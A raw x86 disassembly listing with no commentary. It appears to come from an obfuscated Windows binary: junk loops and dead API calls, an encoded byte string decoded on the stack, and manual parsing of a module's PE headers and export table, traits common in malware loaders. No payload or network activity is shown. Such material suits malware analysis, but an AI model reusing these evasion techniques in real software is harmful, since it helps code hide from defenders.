mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x197c], eax
imul eax, dword [ebp - 0x94], 0x7f3e
cmp eax, 1
je 0x10037d5f
mov dword [ebp - 0xffc], 1
jmp 0x10037d66
and dword [ebp - 0xffc], 0
cmp dword [ebp - 0x94], 0xf6cc
jl 0x10037d7e
mov dword [ebp - 0x978], 1
jmp 0x10037d85
and dword [ebp - 0x978], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x163c]
cmp dword [ebp - 0x978], eax
jl 0x10037da6
mov dword [ebp - 0xda8], 1
jmp 0x10037dad
and dword [ebp - 0xda8], 0
imul esi, dword [ebp - 0xda8], 0xffff
push 0
lea ecx, [ebp - 0xee0]
call fcn.10020c90
mov dword [eax], esi
mov dword [ebp - 0x94], 0
jmp 0x10037ddf
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jg 0x10038061
mov dword [ebp - 0xc50], 0x996f
mov dword [ebp - 0x131c], 0xffffffff
mov dword [ebp - 0x98], 0
jmp 0x10037e19
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x10037e35
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x35c], 0x909d073d
jmp 0x10037e0c
mov dword [ebp - 0x98], 0
jmp 0x10037e4e
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x10037e6a
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x19e4], 0xde6b786a
jmp 0x10037e41
mov byte [ebp - 0x183], 0
movzx eax, byte [ebp - 0x183]
test eax, eax
je 0x10037e84
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
mov esi, dword [ebp - 0x94]
push 0
lea ecx, [ebp - 0xee0]
call fcn.10020c90
mov eax, dword [eax]
add eax, 4
cmp esi, eax
jl 0x10037eac
mov dword [ebp - 0x980], 1
jmp 0x10037eb3
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x980]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x35c]
jl 0x10037ed6
mov dword [ebp - 0xc48], 1
jmp 0x10037edd
and dword [ebp - 0xc48], 0
push 0
lea ecx, [ebp - 0xee0]
call fcn.10020c90
mov ecx, dword [ebp - 0xc48]
cmp ecx, dword [eax]
je 0x10037f00
mov dword [ebp - 0x988], 1
jmp 0x10037f07
and dword [ebp - 0x988], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x35c]
cmp dword [ebp - 0x988], eax
je 0x10037f28
mov dword [ebp - 0xeb4], 1
jmp 0x10037f2f
and dword [ebp - 0xeb4], 0
cmp dword [ebp - 0xeb4], 0xb2d505bc
jne 0x10037f47
mov dword [ebp - 0x990], 1
jmp 0x10037f4e
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x990]
mov dword [ebp - 0xc50], eax
cmp dword [ebp - 0xc50], 0
je 0x10037f78
mov eax, 0xfe1f230b
test eax, eax
je 0x10037f78
mov dword [ebp - 0x998], 1
jmp 0x10037f7f
and dword [ebp - 0x998], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x35c]
cmp dword [ebp - 0x998], eax
jl 0x10037fa0
mov dword [ebp - 0xdb0], 1
jmp 0x10037fa7
and dword [ebp - 0xdb0], 0
push 0
lea ecx, [ebp - 0xee0]
call fcn.10020c90
mov ecx, dword [ebp - 0xdb0]
add ecx, dword [eax]
mov dword [ebp - 0x12cc], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x12cc]
mov dword [ebp + eax - 0x19e4], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x163c]
mov dword [ebp - 0x1780], eax
push 0
lea ecx, [ebp - 0xee0]
call fcn.10020c90
cmp dword [eax], 0x181f
jge 0x10038009
mov dword [ebp - 0x1004], 1
jmp 0x10038010
and dword [ebp - 0x1004], 0
push 0
lea ecx, [ebp - 0xee0]
call fcn.10020c90
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x163c], 0
je 0x10038049
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x35c], 0
je 0x10038049
mov dword [ebp - 0x9a0], 1
jmp 0x10038050
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x131c], eax
jmp 0x10037dd2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xee0]
call fcn.10020c74
mov dword [ebp - 0x364], 0x3ae35568
push 2
lea ecx, [ebp - 0xf48]
call fcn.10020bf2
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x4ac], 0
jmp 0x100380a7
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 2
jge 0x100380c9
push dword [ebp - 0x4ac]
lea ecx, [ebp - 0xf48]
call fcn.10020c90
mov dword [eax], 0x3eb9
jmp 0x1003809a
mov dword [ebp - 0x364], 0
jmp 0x100380e2
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0xa
jg 0x10038199
mov dword [ebp - 0x134], 0x111738ab
mov dword [ebp - 0x134], 0
jmp 0x10038112
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jg 0x10038180
mov dword [ebp - 0x100c], 0x513c61c7
push dword [ebp - 0x134]
lea ecx, [ebp - 0xf48]
call fcn.10020c90
push dword [ebp - 0x134]
lea ecx, [ebp - 0xf48]
call fcn.10020c90
cmp dword [eax], 1
jbe 0x10038158
mov dword [ebp - 0xc58], 1
jmp 0x1003815f
and dword [ebp - 0xc58], 0
push dword [ebp - 0x134]
lea ecx, [ebp - 0xf48]
call fcn.10020c90
mov ecx, dword [ebp - 0xc58]
sub ecx, dword [eax]
mov dword [ebp - 0x100c], ecx
jmp 0x10038105
push 1
lea ecx, [ebp - 0xf48]
call fcn.10020c90
cmp dword [eax], 0
je 0x10038194
jmp 0x10038199
jmp 0x100380d5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf48]
call fcn.10020c74
mov byte [ebp - 0x240], 0xc
mov byte [ebp - 0x23f], 0xf5
mov byte [ebp - 0x23e], 3
mov byte [ebp - 0x23d], 0x12
mov byte [ebp - 0x23c], 0
mov byte [ebp - 0x23b], 0x22
mov byte [ebp - 0x23a], 2
mov byte [ebp - 0x239], 0x26
mov byte [ebp - 0x238], 0xa
mov byte [ebp - 0x237], 0
mov byte [ebp - 0x236], 4
mov byte [ebp - 0x235], 0x11
mov byte [ebp - 0x234], 9
mov byte [ebp - 0x233], 0x17
mov byte [ebp - 0x232], 0xd
mov byte [ebp - 0x231], 0x34
mov byte [ebp - 0x230], 1
mov byte [ebp - 0x22f], 0x25
mov byte [ebp - 0x22e], 8
mov byte [ebp - 0x22d], 0x1d
mov byte [ebp - 0x22c], 0xb
mov byte [ebp - 0x22b], 0x1c
mov byte [ebp - 0x22a], 5
mov byte [ebp - 0x229], 0x16
mov byte [ebp - 0x228], 7
mov byte [ebp - 0x227], 0x17
mov byte [ebp - 0x226], 4
mov byte [ebp - 0x225], 0xa2
mov byte [ebp - 0x224], 0x65
mov byte [ebp - 0x223], 0x17
mov byte [ebp - 0x222], 0x1c
mov byte [ebp - 0x221], 6
mov byte [ebp - 0x220], 0x22
mov dword [ebp - 0x9a8], 0x6d1e
mov dword [ebp - 0x1324], 0x1000a598
cmp dword [ebp - 0x9a8], 0x6ea4
jle 0x1003838f
and dword [ebp - 0x4b4], 0
jmp 0x100382c9
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0x39ef
jge 0x1003838f
and dword [ebp - 0x554], 0
jmp 0x100382ef
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0x7175
jge 0x1003838a
and dword [ebp - 0x36c], 0
jmp 0x10038315
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x359e
jge 0x10038385
and dword [ebp - 0x374], 0
jmp 0x10038337
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x925
jge 0x10038383
mov eax, dword [ebp - 0x554]
imul eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x4b4]
mov ecx, dword [ebp - 0x374]
sar eax, cl
cdq
mov dword [ebp - 0x110c], eax
mov dword [ebp - 0x1108], edx
push dword [ebp - 0x1108]
push dword [ebp - 0x110c]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003832a
jmp 0x10038308
jmp 0x100382e2
jmp 0x100382bc
mov dword [ebp - 0x84], 0x5c68ec0a
cmp dword [ebp - 0x9a8], 0x6adf
jge 0x100383b5
mov edx, dword [ebp - 0x1324]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x84], 0xb
jmp 0x100383ce
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xfffffff1
jg 0x100384a8
push 2
lea ecx, [ebp - 0x13cc]
call fcn.10020bf2
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x5e4], 0
jmp 0x10038408
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x1003842a
push dword [ebp - 0x5e4]
lea ecx, [ebp - 0x13cc]
call fcn.10020c90
mov dword [eax], 0xfffffff7
jmp 0x100383fb
push 0
lea ecx, [ebp - 0x13cc]
call fcn.10020c90
and dword [eax], 0
jmp 0x10038460
push 0
lea ecx, [ebp - 0x13cc]
call fcn.10020c90
mov dword [ebp - 0xe60], eax
mov eax, dword [ebp - 0xe60]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x13cc]
call fcn.10020c90
cmp dword [eax], 0x1a
jge 0x10038494
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x10038492
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
jmp 0x1003843c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13cc]
call fcn.10020c74
jmp 0x100383c1
mov dword [ebp - 0x84], 0
jmp 0x100384c1
cmp dword [ebp - 0x84], 0xffffffe4
jle 0x100386ac
mov dword [ebp - 0x1b4], 0x779a7b44
mov dword [ebp - 0x1014], 5
mov dword [ebp - 0x37c], 0
cmp dword [ebp - 0x1b4], 0
jne 0x10038501
mov dword [ebp - 0x9b0], 1
jmp 0x10038508
and dword [ebp - 0x9b0], 0
cmp dword [ebp - 0x9b0], 0xdacd
jl 0x10038520
mov dword [ebp - 0xc68], 1
jmp 0x10038527
and dword [ebp - 0xc68], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1828], eax
mov eax, dword [ebp - 0x1014]
cmp dword [ebp - 0x84], eax
jge 0x1003854d
mov dword [ebp - 0xc60], 1
jmp 0x10038554
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0x1b4]
cmp eax, dword [ebp - 0xc60]
jle 0x1003856e
mov dword [ebp - 0x9b8], 1
jmp 0x10038575
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x9b8], eax
je 0x1003858f
mov dword [ebp - 0xdb8], 1
jmp 0x10038596
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0xdb8], eax
jne 0x100385b0
mov dword [ebp - 0x9c0], 1
jmp 0x100385b7
and dword [ebp - 0x9c0], 0
imul eax, dword [ebp - 0x9c0], 0
cmp dword [ebp - 0xc68], eax
jle 0x100385d2
mov dword [ebp - 0x12d8], 1
jmp 0x100385d9
and dword [ebp - 0x12d8], 0
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x1788], eax
mov eax, dword [ebp - 0x37c]
add eax, 0x521fafbf
cmp eax, dword [ebp - 0x84]
jg 0x10038604
mov dword [ebp - 0x9c8], 1
jmp 0x1003860b
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x9c8], eax
jg 0x10038629
push 9
pop eax
test eax, eax
jne 0x10038629
and dword [ebp - 0xee4], 0
jmp 0x10038633
mov dword [ebp - 0xee4], 1
cmp dword [ebp - 0xee4], 0x3725
je 0x1003864b
mov dword [ebp - 0x9d0], 1
jmp 0x10038652
and dword [ebp - 0x9d0], 0
cmp dword [ebp - 0x9d0], 0
jne 0x10038667
mov dword [ebp - 0xc70], 1
jmp 0x1003866e
and dword [ebp - 0xc70], 0
mov eax, dword [ebp - 0xc70]
sub eax, 6
cmp eax, dword [ebp - 0x1b4]
jg 0x10038691
cmp dword [ebp - 0x37c], 0
jne 0x10038691
mov dword [ebp - 0x9d8], 1
mov eax, dword [ebp - 0x9d8]
mov dword [ebp - 0x37c], eax
jmp 0x100384b4
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x240]
or eax, 0x86
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x240]
and ecx, 0x86
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x240]
mov byte [ebp + ecx - 0xf58], al
push 1
lea ecx, [ebp - 0x17fc]
call fcn.10020bf2
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x384], 0x8e56f9b2
mov dword [ebp - 0x9e0], 0xf37c
mov dword [ebp - 0x4bc], 0
jmp 0x1003872b
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 1
jge 0x1003874a
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x17fc]
call fcn.10020c90
or dword [eax], 0xffffffff
jmp 0x1003871e
mov dword [ebp - 0x384], 0
jmp 0x10038763
mov eax, dword [ebp - 0x384]
dec eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0
jl 0x100388eb
mov dword [ebp - 0xdc0], 0x3d5a
mov dword [ebp - 0x101c], 0x1000a5e8
cmp dword [ebp - 0xdc0], 0x4096
jle 0x1003886d
and dword [ebp - 0x4c4], 0
jmp 0x100387aa
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0x115
jge 0x1003886d
and dword [ebp - 0x55c], 0
jmp 0x100387d0
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0x7124
jge 0x10038868
and dword [ebp - 0x38c], 0
jmp 0x100387f6
cmp dword [ebp - 0x38c], 0x7342
jge 0x10038863
and dword [ebp - 0x394], 0
jmp 0x10038818
cmp dword [ebp - 0x394], 0x25f8
jge 0x10038861
jmp 0x100387c3
jmp 0x1003879d
mov dword [ebp - 0x5ac], 0x999fb023
cmp dword [ebp - 0xdc0], 0x3cf2
jge 0x10038893
mov edx, dword [ebp - 0x101c]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x5ac], 0
jmp 0x100388ac
mov eax, dword [ebp - 0x5ac]
dec eax
mov dword [ebp - 0x5ac], eax
cmp dword [ebp - 0x5ac], 0
jl 0x100388e6
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x100388d7
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
mov eax, dword [ebp - 0x9e0]
dec eax
mov dword [ebp - 0x9e0], eax
jmp 0x1003889f
jmp 0x10038756
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17fc]
call fcn.10020c74
mov dword [ebp - 0x30], 2
and dword [ebp - 0x200], 0
jmp 0x10038912
cmp dword [ebp - 0x30], 0x21
jae 0x100395ba
mov dword [ebp - 0xc78], 0x13e4
mov dword [ebp - 0x1024], 0x1000a620
cmp dword [ebp - 0xc78], 0x16b3
jle 0x10038a15
and dword [ebp - 0x3a4], 0
jmp 0x10038956
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x661f
jge 0x10038a15
and dword [ebp - 0x39c], 0
jmp 0x1003897c
cmp dword [ebp - 0x39c], 0x3479
jge 0x10038a10
and dword [ebp - 0x4cc], 0
jmp 0x100389a2
cmp dword [ebp - 0x4cc], 0x2ef7
jge 0x10038a0b
jmp 0x10038949
push 3
lea ecx, [ebp - 0x1810]
call fcn.10020bf2
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x564], 0
jmp 0x10038a42
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 3
jge 0x10038a64
push dword [ebp - 0x564]
lea ecx, [ebp - 0x1810]
call fcn.10020c90
mov dword [eax], 0xfff6
jmp 0x10038a35
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x10038a86
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PeekMessageW]
mov byte [ebp - 0x187], 0
movzx eax, byte [ebp - 0x187]
test eax, eax
je 0x10038aa2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1810]
call fcn.10020c74
cmp dword [ebp - 0xc78], 0x1157
jge 0x10038ac9
push dword [ebp - 0x1024]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0xa38], 0x42fb
mov dword [ebp - 0x146c], 0x1000a680
cmp dword [ebp - 0xa38], 0x467e
jle 0x10038bfb
push 3
lea ecx, [ebp - 0x13fc]
call fcn.10020bf2
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x4f4], 0xa8fe2430
mov dword [ebp - 0x658], 0xef4a0426
push 3
lea ecx, [ebp - 0x154c]
call fcn.10020bf2
mov byte [ebp - 4], 0x17
mov dword [ebp - 0xa50], 0xffffffff
mov dword [ebp - 0x105c], 1
mov dword [ebp - 0x13d0], 1
mov dword [ebp - 0x3c], 0
jmp 0x10039621
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1003963d
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x13fc]
call fcn.10020c90
mov dword [eax], 5
jmp 0x1003961a
mov dword [ebp - 0x3c], 0
jmp 0x1003964d
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x10039669
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x154c]
call fcn.10020c90
mov dword [eax], 0xa85f88e1
jmp 0x10039646
mov dword [ebp - 0x3c], 0
jmp 0x10039679
cmp dword [ebp - 0x3c], 3
jge 0x1003968f
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1894], 0x11fb8eb5
jmp 0x10039672
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1894]
inc eax
mov dword [ebp - 0xa40], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa40]
mov dword [ebp + eax - 0x1894], ecx
cmp dword [ebp - 0xa40], 0xffff
ja 0x100396ce
mov dword [ebp - 0x1844], 0xea75c96
mov byte [ebp - 0x18b], 0
movzx eax, byte [ebp - 0x18b]
test eax, eax
je 0x1003a442
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CheckRadioButton]
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x1003a45e
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextColor]
mov eax, dword [0x1008b00c]
cmp eax, dword [ebp - 0x450]
je 0x1003a47c
mov eax, dword [0x1008b060]
cmp eax, dword [ebp - 0x450]
jne 0x1003a5f7
mov dword [ebp - 0x60], 0x642c
mov dword [ebp - 0x10bc], 0xd2f38d92
mov dword [ebp - 0x13f0], 0xbd0176df
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x199c], eax
cmp dword [ebp - 0x60], 0x998c1813
jl 0x1003a4b5
mov dword [ebp - 0xe8c], 1
jmp 0x1003a4bc
and dword [ebp - 0xe8c], 0
cmp dword [ebp - 0xe8c], 6
jne 0x1003a4d1
mov dword [ebp - 0xb10], 1
jmp 0x1003a4d8
and dword [ebp - 0xb10], 0
mov eax, dword [ebp - 0xb10]
add eax, 0x1e6
cmp dword [ebp - 0x60], eax
je 0x1003a4f4
mov dword [ebp - 0x714], 1
jmp 0x1003a4fb
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x714], eax
jl 0x1003a512
mov dword [ebp - 0x71c], 1
jmp 0x1003a519
and dword [ebp - 0x71c], 0
cmp dword [ebp - 0x71c], 0
jg 0x1003a52e
mov dword [ebp - 0x724], 1
jmp 0x1003a535
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x724], eax
jle 0x1003a54c
mov dword [ebp - 0x72c], 1
jmp 0x1003a553
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x72c], eax
jle 0x1003a56a
mov dword [ebp - 0x734], 1
jmp 0x1003a571
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x734]
jg 0x1003a588
mov dword [ebp - 0x73c], 1
jmp 0x1003a58f
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x10bc], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x184c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x13f0], eax
mov dword [ebp - 0x60], 0xffffffeb
jmp 0x1003a5bd
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x2d
jge 0x1003a5df
mov byte [ebp - 0x18d], 0
movzx eax, byte [ebp - 0x18d]
test eax, eax
je 0x1003a5dd
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
jmp 0x1003a5b6
mov ecx, dword [ebp + 0xc]
call fcn.100208b8
push eax
push dword [ebp + 8]
call fcn.1002e54c
pop ecx
pop ecx
jmp 0x100409da
mov eax, dword [ebp + 8]
mov dword [ebp - 0x514], eax
mov dword [ebp - 0x744], 0x620f
mov dword [ebp - 0x1320], 0x1000a7c8
cmp dword [ebp - 0x744], 0x6502
jle 0x1003a72e
and dword [ebp - 0x414], 0
jmp 0x1003a63a
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0x5333
jge 0x1003a72e
and dword [ebp - 0x5bc], 0
jmp 0x1003a660
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 0x117b
jge 0x1003a729
and dword [ebp - 0x41c], 0
jmp 0x1003a686
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0x11c
jge 0x1003a724
and dword [ebp - 0x50c], 0
jmp 0x1003a6ac
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0x56f9
jge 0x1003a71f
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x5bc]
shl eax, cl
mov ecx, dword [ebp - 0x41c]
sub ecx, dword [ebp - 0x50c]
shl eax, cl
cdq
mov dword [ebp - 0x1160], eax
mov dword [ebp - 0x115c], edx
push dword [ebp - 0x115c]
push dword [ebp - 0x1160]
lea ecx, [ebp - 0x1c70]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x10c8], eax
mov ecx, dword [ebp - 0x10c8]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1c70]
call fcn.100208ae
jmp 0x1003a69f
jmp 0x1003a679
jmp 0x1003a653
jmp 0x1003a62d
mov dword [ebp - 0x144], 5
cmp dword [ebp - 0x744], 0x6133
jge 0x1003a750
push dword [ebp - 0x1320]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x13c], 0x89226c31
mov dword [ebp - 0x424], 0
jmp 0x1003a773
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 2
jge 0x1003a78f
mov eax, dword [ebp - 0x424]
mov dword [ebp + eax*4 - 0x688], 0x3df603fa
jmp 0x1003a766
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x688]
mov dword [ebp - 0x1918], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x688], 0xc25fcc58
jb 0x1003a7c1
mov dword [ebp - 0x74c], 1
jmp 0x1003a7c8
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x144], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x688]
cmp eax, dword [ebp - 0x144]
jne 0x1003a7f5
mov dword [ebp - 0x754], 1
jmp 0x1003a7fc
and dword [ebp - 0x754], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x688]
cmp eax, dword [ebp - 0x754]
jne 0x1003a81d
mov dword [ebp - 0x75c], 1
jmp 0x1003a824
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
add eax, 0xbb6b
push 4
pop ecx
shl ecx, 0
cmp dword [ebp + ecx - 0x688], eax
jg 0x1003a856
mov dword [ebp - 0x764], 1
jmp 0x1003a85d
and dword [ebp - 0x764], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x764]
mov dword [ebp + eax - 0x688], ecx
mov dword [ebp - 0x144], 0
jmp 0x1003a889
mov eax, dword [ebp - 0x144]
dec eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xfffffffd
jne 0x1003a9bd
mov dword [ebp - 0x76c], 0x3192
mov dword [ebp - 0x14a0], 0x1000a7f0
cmp dword [ebp - 0x76c], 0x31bb
jle 0x1003a960
and dword [ebp - 0x584], 0
jmp 0x1003a8d0
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0x3415
jge 0x1003a960
and dword [ebp - 0x42c], 0
jmp 0x1003a8f6
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0x43be
jge 0x1003a95b
mov eax, dword [ebp - 0x584]
mov ecx, dword [ebp - 0x42c]
shl eax, cl
cdq
mov dword [ebp - 0x116c], eax
mov dword [ebp - 0x1168], edx
push dword [ebp - 0x1168]
push dword [ebp - 0x116c]
lea ecx, [ebp - 0x1be0]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x10d4], eax
mov ecx, dword [ebp - 0x10d4]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1be0]
call fcn.100208ae
jmp 0x1003a8e9
jmp 0x1003a8c3
mov dword [ebp - 0x13c], 0
jmp 0x1003a979
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jge 0x1003a995
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x688], 5
jmp 0x1003a96c
cmp dword [ebp - 0x76c], 0x301f
jge 0x1003a9ad
push dword [ebp - 0x14a0]
call fcn.1006abb3
pop ecx
cmp dword [ebp - 0x144], 0
je 0x1003a9b8
jmp 0x1003a9bd
jmp 0x1003a87c
cmp dword [ebp - 0x514], 0
je 0x10040789
mov eax, dword [ebp - 0x514]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10040789
mov eax, dword [ebp - 0x514]
mov ecx, dword [ebp - 0x514]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1fc], ecx
mov eax, dword [ebp - 0x1fc]
cmp dword [eax], 0x4550
jne 0x10040789
mov eax, dword [ebp - 0x1fc]
cmp dword [eax + 0x74], 0
jbe 0x10040789
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fc]
cmp dword [ecx + eax + 0x78], 0
je 0x10040789
mov dword [ebp - 0x74], 0x5c68ec0a
mov dword [ebp - 0x74], 0xb
jmp 0x1003aa43
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xfffffff1
jg 0x1003ac0a
push 2
lea ecx, [ebp - 0x140c]
call fcn.10020bf2
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x434], 0
jmp 0x1003aa7a
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 2
jge 0x1003aa9c
push dword [ebp - 0x434]
lea ecx, [ebp - 0x140c]
call fcn.10020c90
mov dword [eax], 0xfffffff7
jmp 0x1003aa6d
push 0
lea ecx, [ebp - 0x140c]
call fcn.10020c90
and dword [eax], 0
jmp 0x1003aad2
push 0
lea ecx, [ebp - 0x140c]
call fcn.10020c90
mov dword [ebp - 0x774], eax
mov eax, dword [ebp - 0x774]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x774]
